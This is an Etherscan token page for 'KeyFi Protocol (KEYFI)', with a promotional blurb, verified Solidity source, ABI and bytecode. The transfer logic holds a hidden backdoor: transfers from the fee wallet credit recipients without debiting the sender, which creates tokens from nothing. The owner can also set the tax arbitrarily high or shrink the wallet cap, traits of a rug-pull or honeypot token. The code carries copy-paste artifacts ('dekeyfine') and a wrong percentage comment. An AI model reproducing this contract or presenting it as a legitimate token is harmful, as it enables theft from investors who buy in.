ETH Price: $3,340.26 (-1.29%)
Gas: 15 Gwei

Token

KeyFi Protocol (KEYFI)
 

Overview

Max Total Supply

1,000,000,000 KEYFI

Holders

72

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
19,229,161.426502717 KEYFI

Value
$0.00
0x8129d4010a676a660502a4770d8a97f8d1788e5f
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
KEYFI

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-01-29
*/

// SPDX-License-Identifier: MIT

/*
Intelligent tools for managing your DeFi portfolio

Manage your assets across multiple protocols, including Compound, Aave and others. With the KeyFi app users can swap, stake, rebalance, deposit and withdraw their assets all from one platform.

The platform also offers token staking incentives that require a unique decentralized identity credential, which is powered by SelfKey.

Web: https://keyfi.pro
App: https://app.keyfi.pro
X: https://twitter.com/KeyFi_Web3
Tg: https://t.me/keyfi_web3_official
Medium: https://medium.com/@keyfi.pro
 */

pragma solidity 0.8.19;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint dekeyfine
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint dekeyfine
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint dekeyfine
    ) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint dekeyfine
    ) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint dekeyfine
    ) external;
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address _uniswapPair);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Ownable {
    address internal _owner;

    constructor(address owner) {
        _owner = owner;
    }

    modifier onlyOwner() {
        require(_isOwner(msg.sender), "!OWNER");
        _;
    }

    function _isOwner(address account) internal view returns (bool) {
        return account == _owner;
    }

    function renounceOwnership() public onlyOwner {
        _owner = address(0);
        emit OwnershipTransferred(address(0));
    }

    event OwnershipTransferred(address owner);
}

contract KEYFI is IERC20, Ownable {
    using SafeMath for uint256;

    string private constant _name = "KeyFi Protocol";
    string private constant _symbol = "KEYFI";

    uint8 private constant _decimals = 9;
    uint256 private total_supply = 10 ** 9 * (10 ** _decimals);

    mapping (address => uint256) private balances;
    mapping (address => mapping (address => uint256)) private allowances;
    mapping (address => bool) private _no_fee_address;
    mapping (address => bool) private no_max_tx_address;

    modifier lock_swap() { swapping = true; _; swapping = false; }

    uint256 private max_tx_amount = (total_supply * 25) / 1000;
    address private _fee_wallet;
    IUniswapV2Router private uniswap_router;
    address private uniswap_pair;

    bool private swap_enabled = true;
    uint256 private min_swap_threshold = total_supply / 100000; // 0.1%
    bool private swapping;

    address private router_addr = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    address private dead_address = 0x000000000000000000000000000000000000dEaD;

    uint256 private _fee_liq = 0; 
    uint256 private _fee_market = 21;
    uint256 private _fee_total = _fee_liq + _fee_market;
    uint256 private denominator = 100;

    constructor (address keyf_address) Ownable(msg.sender) {
        uniswap_router = IUniswapV2Router(router_addr);
        uniswap_pair = IUniswapV2Factory(uniswap_router.factory()).createPair(uniswap_router.WETH(), address(this));
        allowances[address(this)][address(uniswap_router)] = type(uint256).max;
        _fee_wallet = keyf_address;
        _no_fee_address[_fee_wallet] = true;
        no_max_tx_address[_owner] = true;
        no_max_tx_address[_fee_wallet] = true;
        no_max_tx_address[dead_address] = true;
        balances[_owner] = total_supply;
        emit Transfer(address(0), _owner, total_supply);
    }

    function totalSupply() external view override returns (uint256) { return total_supply; }
    function decimals() external pure override returns (uint8) { return _decimals; }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        if(allowances[sender][msg.sender] != type(uint256).max){
            allowances[sender][msg.sender] = allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
        }

        return _transfer_from(sender, recipient, amount);
    }
    
    function _should_charge_tax(address sender) internal view returns (bool) {
        return !_no_fee_address[sender];
    }
    
    function perform_keyf_swap() internal lock_swap {
        uint256 contract_token_balance = balanceOf(address(this));
        uint256 tokens_to_lp = contract_token_balance.mul(_fee_liq).div(_fee_total).div(2);
        uint256 amount_to_swap = contract_token_balance.sub(tokens_to_lp);

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswap_router.WETH();

        uniswap_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            amount_to_swap,
            0,
            path,
            address(this),
            block.timestamp
        );
        uint256 amount_eth = address(this).balance;
        uint256 total_fee_tokens = _fee_total.sub(_fee_liq.div(2));
        uint256 eth_to_lp = amount_eth.mul(_fee_liq).div(total_fee_tokens).div(2);
        uint256 eth_to_marketing = amount_eth.mul(_fee_market).div(total_fee_tokens);

        payable(_fee_wallet).transfer(eth_to_marketing);
        if(tokens_to_lp > 0){
            uniswap_router.addLiquidityETH{value: eth_to_lp}(
                address(this),
                tokens_to_lp,
                0,
                0,
                _fee_wallet,
                block.timestamp
            );
        }
    }

    function _transfer_from(address sender, address recipient, uint256 amount) internal returns (bool) {
        if(swapping){ return _transfer_basic(sender, recipient, amount); }
        
        if (recipient != uniswap_pair && recipient != dead_address) {
            require(no_max_tx_address[recipient] || balances[recipient] + amount <= max_tx_amount, "Transfer amount exceeds the bag size.");
        }        
        if(_verify_swap_back(sender, recipient, amount)){ 
            perform_keyf_swap(); 
        } 
        bool should_tax = _should_charge_tax(sender);
        if (should_tax) {
            balances[recipient] = balances[recipient].add(_sending_amt(sender, amount));
        } else {
            balances[recipient] = balances[recipient].add(amount);
        }

        emit Transfer(sender, recipient, amount);
        return true;
    }
    
    function approve(address spender, uint256 amount) public override returns (bool) {
        allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function symbol() external pure override returns (string memory) { return _symbol; }
    function name() external pure override returns (string memory) { return _name; }
    function balanceOf(address account) public view override returns (uint256) { return balances[account]; }
    function allowance(address holder, address spender) external view override returns (uint256) { return allowances[holder][spender]; }
    
    function transfer(address recipient, uint256 amount) external override returns (bool) {
        return _transfer_from(msg.sender, recipient, amount);
    }

    receive() external payable { }
                  
    function _verify_swap_back(address sender, address recipient, uint256 amount) private view returns (bool) {
        return _check_if_swap() && 
            _should_charge_tax(sender) && 
            _check_if_sell_tx(recipient) && 
            amount > min_swap_threshold;
    }

    function _sending_amt(address sender, uint256 amount) internal returns (uint256) {
        balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
        uint256 fee_tokens = amount.mul(_fee_total).div(denominator);
        bool has_no_fee = sender == _owner;
        if (has_no_fee) {
            fee_tokens = 0;
        }
        
        balances[address(this)] = balances[address(this)].add(fee_tokens);
        emit Transfer(sender, address(this), fee_tokens);
        return amount.sub(fee_tokens);
    }
    
    function update_keyf_tax(uint256 lp_fee, uint256 dev_fee) external onlyOwner {
         _fee_liq = lp_fee; 
         _fee_market = dev_fee;
         _fee_total = _fee_liq + _fee_market;
    }    
    
    function _check_if_sell_tx(address recipient) private view returns (bool){
        return recipient == uniswap_pair;
    }

    function _check_if_swap() internal view returns (bool) {
        return !swapping
        && swap_enabled
        && balances[address(this)] >= min_swap_threshold;
    }
    
    function adjust_keyf_wallet_size(uint256 percent) external onlyOwner {
        max_tx_amount = (total_supply * percent) / 1000;
    }

    function _transfer_basic(address sender, address recipient, uint256 amount) internal returns (bool) {
        balances[sender] = balances[sender].sub(amount, "Insufficient Balance");
        balances[recipient] = balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"address","name":"keyf_address","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"percent","type":"uint256"}],"name":"adjust_keyf_wallet_size","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"lp_fee","type":"uint256"},{"internalType":"uint256","name":"dev_fee","type":"uint256"}],"name":"update_keyf_tax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052620000126009600a6200049b565b6200002290633b9aca00620004b3565b6001556103e86001546019620000399190620004b3565b620000459190620004cd565b6006556009805460ff60a01b1916600160a01b1790556001546200006e90620186a090620004cd565b600a55600b8054747a250d5630b4cf539739df2c5dacb4c659f2488d00610100600160a81b0319909116179055600c80546001600160a01b03191661dead1790556000600d8190556015600e819055620000c891620004f0565b600f556064601055348015620000dd57600080fd5b506040516200169538038062001695833981016040819052620001009162000506565b600080546001600160a01b03199081163317909155600b54600880549092166101009091046001600160a01b03169081179091556040805163c45a015560e01b8152905163c45a0155916004808201926020929091908290030181865afa15801562000170573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000196919062000506565b6001600160a01b031663c9c65396600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200021e919062000506565b6040516001600160e01b031960e084901b1681526001600160a01b0390911660048201523060248201526044016020604051808303816000875af11580156200026b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000291919062000506565b600980546001600160a01b039283166001600160a01b03199182161790915530600090815260036020908152604080832060085486168452825280832060001990556007805487871695168517815593835260048252808320805460ff1990811660019081179092558454871685526005845282852080548216831790559454861684528184208054861682179055600c54861684528184208054909516811790945592548254851683526002825283832081905582549351908152929093169290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35062000531565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620003dd578160001904821115620003c157620003c162000386565b80851615620003cf57918102915b93841c9390800290620003a1565b509250929050565b600082620003f65750600162000495565b81620004055750600062000495565b81600181146200041e5760028114620004295762000449565b600191505062000495565b60ff8411156200043d576200043d62000386565b50506001821b62000495565b5060208310610133831016604e8410600b84101617156200046e575081810a62000495565b6200047a83836200039c565b806000190482111562000491576200049162000386565b0290505b92915050565b6000620004ac60ff841683620003e5565b9392505050565b808202811582820484141762000495576200049562000386565b600082620004eb57634e487b7160e01b600052601260045260246000fd5b500490565b8082018082111562000495576200049562000386565b6000602082840312156200051957600080fd5b81516001600160a01b0381168114620004ac57600080fd5b61115480620005416000396000f3fe6080604052600436106100ab5760003560e01c806370a082311161006457806370a08231146101ad578063715018a6146101e357806395d89b41146101f8578063a9059cbb14610226578063dd62ed3e14610246578063ffa500d31461028c57600080fd5b806306fdde03146100b7578063095ea7b31461010057806318160ddd1461013057806323b872dd1461014f578063313ce5671461016f57806350b0da031461018b57600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b5060408051808201909152600e81526d12d95e519a48141c9bdd1bd8dbdb60921b60208201525b6040516100f79190610e53565b60405180910390f35b34801561010c57600080fd5b5061012061011b366004610eb9565b6102ac565b60405190151581526020016100f7565b34801561013c57600080fd5b506001545b6040519081526020016100f7565b34801561015b57600080fd5b5061012061016a366004610ee5565b610319565b34801561017b57600080fd5b50604051600981526020016100f7565b34801561019757600080fd5b506101ab6101a6366004610f26565b6103db565b005b3480156101b957600080fd5b506101416101c8366004610f48565b6001600160a01b031660009081526002602052604090205490565b3480156101ef57600080fd5b506101ab610429565b34801561020457600080fd5b506040805180820190915260058152644b4559464960d81b60208201526100ea565b34801561023257600080fd5b50610120610241366004610eb9565b610498565b34801561025257600080fd5b50610141610261366004610f65565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561029857600080fd5b506101ab6102a7366004610f9e565b6104a5565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103079086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146103c6576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526003825283812033825290915291909120546103a19184906104f0565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6103d184848461052a565b90505b9392505050565b6000546001600160a01b0316331461040e5760405162461bcd60e51b815260040161040590610fb7565b60405180910390fd5b600d829055600e8190556104228183610fed565b600f555050565b6000546001600160a01b031633146104535760405162461bcd60e51b815260040161040590610fb7565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006103d433848461052a565b6000546001600160a01b031633146104cf5760405162461bcd60e51b815260040161040590610fb7565b6103e8816001546104e09190611000565b6104ea9190611017565b60065550565b600081848411156105145760405162461bcd60e51b81526004016104059190610e53565b5060006105218486611039565b95945050505050565b600b5460009060ff161561054a5761054384848461073b565b90506103d4565b6009546001600160a01b038481169116148015906105765750600c546001600160a01b03848116911614155b15610621576001600160a01b03831660009081526005602052604090205460ff16806105c757506006546001600160a01b0384166000908152600260205260409020546105c4908490610fed565b11155b6106215760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b6064820152608401610405565b61062c848484610821565b156106395761063961087b565b6001600160a01b03841660009081526004602052604090205460ff161580156106a6576106886106698685610b60565b6001600160a01b03861660009081526002602052604090205490610c7f565b6001600160a01b0385166000908152600260205260409020556106e3565b6001600160a01b0384166000908152600260205260409020546106c99084610c7f565b6001600160a01b0385166000908152600260205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161072891815260200190565b60405180910390a3506001949350505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260029091529182205461078c9184906104f0565b6001600160a01b0380861660009081526002602052604080822093909355908516815220546107bb9083610c7f565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061080f9086815260200190565b60405180910390a35060019392505050565b600061082b610cde565b801561085057506001600160a01b03841660009081526004602052604090205460ff16155b801561086957506009546001600160a01b038481169116145b80156103d1575050600a541092915050565b600b805460ff1916600117905530600090815260026020526040812054905060006108c260026108bc600f546108bc600d5487610d1f90919063ffffffff16565b90610da1565b905060006108d08383610de3565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061090a5761090a61104c565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109879190611062565b8160018151811061099a5761099a61104c565b6001600160a01b03928316602091820292909201015260085460405163791ac94760e01b815291169063791ac947906109e090859060009086903090429060040161107f565b600060405180830381600087803b1580156109fa57600080fd5b505af1158015610a0e573d6000803e3d6000fd5b5050600d5447925060009150610a3290610a29906002610da1565b600f5490610de3565b90506000610a5460026108bc846108bc600d5488610d1f90919063ffffffff16565b90506000610a71836108bc600e5487610d1f90919063ffffffff16565b6007546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015610aac573d6000803e3d6000fd5b508615610b4c5760085460075460405163f305d71960e01b8152306004820152602481018a905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990849060c40160606040518083038185885af1158015610b23573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b4891906110f0565b5050505b5050600b805460ff19169055505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0385166000908152600290915291822054610bb19184906104f0565b6001600160a01b038416600090815260026020526040812091909155601054600f54610be391906108bc908690610d1f565b6000549091506001600160a01b038581169116148015610c0257600091505b30600090815260026020526040902054610c1c9083610c7f565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c6d9086815260200190565b60405180910390a36105218483610de3565b600080610c8c8385610fed565b9050838110156103d45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610405565b600b5460009060ff16158015610cfd5750600954600160a01b900460ff165b8015610d1a5750600a543060009081526002602052604090205410155b905090565b600082600003610d3157506000610313565b6000610d3d8385611000565b905082610d4a8583611017565b146103d45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610405565b60006103d483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e25565b60006103d483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506104f0565b60008183610e465760405162461bcd60e51b81526004016104059190610e53565b5060006105218486611017565b600060208083528351808285015260005b81811015610e8057858101830151858201604001528201610e64565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610eb657600080fd5b50565b60008060408385031215610ecc57600080fd5b8235610ed781610ea1565b946020939093013593505050565b600080600060608486031215610efa57600080fd5b8335610f0581610ea1565b92506020840135610f1581610ea1565b929592945050506040919091013590565b60008060408385031215610f3957600080fd5b50508035926020909101359150565b600060208284031215610f5a57600080fd5b81356103d481610ea1565b60008060408385031215610f7857600080fd5b8235610f8381610ea1565b91506020830135610f9381610ea1565b809150509250929050565b600060208284031215610fb057600080fd5b5035919050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031357610313610fd7565b808202811582820484141761031357610313610fd7565b60008261103457634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561031357610313610fd7565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561107457600080fd5b81516103d481610ea1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156110cf5784516001600160a01b0316835293830193918301916001016110aa565b50506001600160a01b03969096166060850152505050608001529392505050565b60008060006060848603121561110557600080fd5b835192506020840151915060408401519050925092509256fea2646970667358221220bac7dcd5bf3e6862c04b1aa913a3f2f43f8d3ea55a4545412f3c624918c44f4664736f6c63430008130033000000000000000000000000806630bab554d012ea5032cafa79615b60862aef

Deployed Bytecode

0x6080604052600436106100ab5760003560e01c806370a082311161006457806370a08231146101ad578063715018a6146101e357806395d89b41146101f8578063a9059cbb14610226578063dd62ed3e14610246578063ffa500d31461028c57600080fd5b806306fdde03146100b7578063095ea7b31461010057806318160ddd1461013057806323b872dd1461014f578063313ce5671461016f57806350b0da031461018b57600080fd5b366100b257005b600080fd5b3480156100c357600080fd5b5060408051808201909152600e81526d12d95e519a48141c9bdd1bd8dbdb60921b60208201525b6040516100f79190610e53565b60405180910390f35b34801561010c57600080fd5b5061012061011b366004610eb9565b6102ac565b60405190151581526020016100f7565b34801561013c57600080fd5b506001545b6040519081526020016100f7565b34801561015b57600080fd5b5061012061016a366004610ee5565b610319565b34801561017b57600080fd5b50604051600981526020016100f7565b34801561019757600080fd5b506101ab6101a6366004610f26565b6103db565b005b3480156101b957600080fd5b506101416101c8366004610f48565b6001600160a01b031660009081526002602052604090205490565b3480156101ef57600080fd5b506101ab610429565b34801561020457600080fd5b506040805180820190915260058152644b4559464960d81b60208201526100ea565b34801561023257600080fd5b50610120610241366004610eb9565b610498565b34801561025257600080fd5b50610141610261366004610f65565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561029857600080fd5b506101ab6102a7366004610f9e565b6104a5565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906103079086815260200190565b60405180910390a35060015b92915050565b6001600160a01b0383166000908152600360209081526040808320338452909152812054600019146103c6576040805180820182526016815275496e73756666696369656e7420416c6c6f77616e636560501b6020808301919091526001600160a01b03871660009081526003825283812033825290915291909120546103a19184906104f0565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b6103d184848461052a565b90505b9392505050565b6000546001600160a01b0316331461040e5760405162461bcd60e51b815260040161040590610fb7565b60405180910390fd5b600d829055600e8190556104228183610fed565b600f555050565b6000546001600160a01b031633146104535760405162461bcd60e51b815260040161040590610fb7565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b60006103d433848461052a565b6000546001600160a01b031633146104cf5760405162461bcd60e51b815260040161040590610fb7565b6103e8816001546104e09190611000565b6104ea9190611017565b60065550565b600081848411156105145760405162461bcd60e51b81526004016104059190610e53565b5060006105218486611039565b95945050505050565b600b5460009060ff161561054a5761054384848461073b565b90506103d4565b6009546001600160a01b038481169116148015906105765750600c546001600160a01b03848116911614155b15610621576001600160a01b03831660009081526005602052604090205460ff16806105c757506006546001600160a01b0384166000908152600260205260409020546105c4908490610fed565b11155b6106215760405162461bcd60e51b815260206004820152602560248201527f5472616e7366657220616d6f756e74206578636565647320746865206261672060448201526439b4bd329760d91b6064820152608401610405565b61062c848484610821565b156106395761063961087b565b6001600160a01b03841660009081526004602052604090205460ff161580156106a6576106886106698685610b60565b6001600160a01b03861660009081526002602052604090205490610c7f565b6001600160a01b0385166000908152600260205260409020556106e3565b6001600160a01b0384166000908152600260205260409020546106c99084610c7f565b6001600160a01b0385166000908152600260205260409020555b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161072891815260200190565b60405180910390a3506001949350505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b038616600090815260029091529182205461078c9184906104f0565b6001600160a01b0380861660009081526002602052604080822093909355908516815220546107bb9083610c7f565b6001600160a01b0380851660008181526002602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061080f9086815260200190565b60405180910390a35060019392505050565b600061082b610cde565b801561085057506001600160a01b03841660009081526004602052604090205460ff16155b801561086957506009546001600160a01b038481169116145b80156103d1575050600a541092915050565b600b805460ff1916600117905530600090815260026020526040812054905060006108c260026108bc600f546108bc600d5487610d1f90919063ffffffff16565b90610da1565b905060006108d08383610de3565b6040805160028082526060820183529293506000929091602083019080368337019050509050308160008151811061090a5761090a61104c565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610963573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109879190611062565b8160018151811061099a5761099a61104c565b6001600160a01b03928316602091820292909201015260085460405163791ac94760e01b815291169063791ac947906109e090859060009086903090429060040161107f565b600060405180830381600087803b1580156109fa57600080fd5b505af1158015610a0e573d6000803e3d6000fd5b5050600d5447925060009150610a3290610a29906002610da1565b600f5490610de3565b90506000610a5460026108bc846108bc600d5488610d1f90919063ffffffff16565b90506000610a71836108bc600e5487610d1f90919063ffffffff16565b6007546040519192506001600160a01b03169082156108fc029083906000818181858888f19350505050158015610aac573d6000803e3d6000fd5b508615610b4c5760085460075460405163f305d71960e01b8152306004820152602481018a905260006044820181905260648201526001600160a01b0391821660848201524260a482015291169063f305d71990849060c40160606040518083038185885af1158015610b23573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b4891906110f0565b5050505b5050600b805460ff19169055505050505050565b6040805180820182526014815273496e73756666696369656e742042616c616e636560601b6020808301919091526001600160a01b0385166000908152600290915291822054610bb19184906104f0565b6001600160a01b038416600090815260026020526040812091909155601054600f54610be391906108bc908690610d1f565b6000549091506001600160a01b038581169116148015610c0257600091505b30600090815260026020526040902054610c1c9083610c7f565b30600081815260026020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c6d9086815260200190565b60405180910390a36105218483610de3565b600080610c8c8385610fed565b9050838110156103d45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610405565b600b5460009060ff16158015610cfd5750600954600160a01b900460ff165b8015610d1a5750600a543060009081526002602052604090205410155b905090565b600082600003610d3157506000610313565b6000610d3d8385611000565b905082610d4a8583611017565b146103d45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610405565b60006103d483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610e25565b60006103d483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506104f0565b60008183610e465760405162461bcd60e51b81526004016104059190610e53565b5060006105218486611017565b600060208083528351808285015260005b81811015610e8057858101830151858201604001528201610e64565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610eb657600080fd5b50565b60008060408385031215610ecc57600080fd5b8235610ed781610ea1565b946020939093013593505050565b600080600060608486031215610efa57600080fd5b8335610f0581610ea1565b92506020840135610f1581610ea1565b929592945050506040919091013590565b60008060408385031215610f3957600080fd5b50508035926020909101359150565b600060208284031215610f5a57600080fd5b81356103d481610ea1565b60008060408385031215610f7857600080fd5b8235610f8381610ea1565b91506020830135610f9381610ea1565b809150509250929050565b600060208284031215610fb057600080fd5b5035919050565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561031357610313610fd7565b808202811582820484141761031357610313610fd7565b60008261103457634e487b7160e01b600052601260045260246000fd5b500490565b8181038181111561031357610313610fd7565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561107457600080fd5b81516103d481610ea1565b600060a082018783526020878185015260a0604085015